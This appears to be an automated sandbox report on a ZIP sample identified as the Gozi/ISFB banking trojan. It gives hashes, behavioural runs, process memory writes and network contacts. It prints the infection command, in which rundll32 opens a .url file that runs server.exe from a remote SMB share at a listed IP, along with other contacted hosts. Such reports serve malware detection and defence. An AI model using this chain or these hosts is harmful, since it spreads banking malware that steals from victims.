Malware Analysis Report

2025-08-11 01:44

Sample ID 230308-k3wzvsfa58
Target cliente.zip
SHA256 6a11b49472e5ea497098f11ab66bde3fb6fa1a6762b73cf08f1dfa83efae22e6
Tags
gozi 7711 banker isfb trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6a11b49472e5ea497098f11ab66bde3fb6fa1a6762b73cf08f1dfa83efae22e6

Threat Level: Known bad

The file cliente.zip was found to be: Known bad.

Malicious Activity Summary

gozi 7711 banker isfb trojan

Gozi

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-03-08 09:08

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-03-08 09:08

Reported

2023-03-08 09:10

Platform

win7-20230220-en

Max time kernel

128s

Max time network

33s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\cliente\cliente.url

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\System32\rundll32.exe N/A

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\cliente\cliente.url

Network

N/A

Files

memory/924-54-0x0000000002240000-0x0000000002241000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-03-08 09:08

Reported

2023-03-08 09:10

Platform

win10v2004-20230220-en

Max time kernel

143s

Max time network

142s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\cliente\cliente.url

Signatures

Gozi

banker trojan gozi

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation C:\Windows\System32\rundll32.exe N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 372 wrote to memory of 3400 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.31\Agenzia\server.exe
PID 372 wrote to memory of 3400 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.31\Agenzia\server.exe
PID 372 wrote to memory of 3400 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.31\Agenzia\server.exe

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\cliente\cliente.url

\??\UNC\46.8.210.31\Agenzia\server.exe

"\\46.8.210.31\Agenzia\server.exe"

Network

Country Destination Domain Proto
RU 46.8.210.31:445 tcp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 31.210.8.46.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 141.145.190.20.in-addr.arpa udp
US 8.8.8.8:53 199.176.139.52.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 checklist.skype.com udp
US 13.89.179.10:443 tcp
NL 173.223.113.164:443 tcp
US 8.8.8.8:53 45.8.109.52.in-addr.arpa udp
US 93.184.221.240:80 tcp
US 8.8.8.8:53 177.238.32.23.in-addr.arpa udp
US 8.8.8.8:53 234.238.32.23.in-addr.arpa udp
RU 62.173.138.6:80 tcp

Files

memory/3400-134-0x00000000005E0000-0x00000000005EB000-memory.dmp

memory/3400-135-0x0000000000400000-0x000000000044C000-memory.dmp

memory/3400-136-0x00000000021E0000-0x00000000021ED000-memory.dmp

memory/3400-139-0x0000000000400000-0x000000000044C000-memory.dmp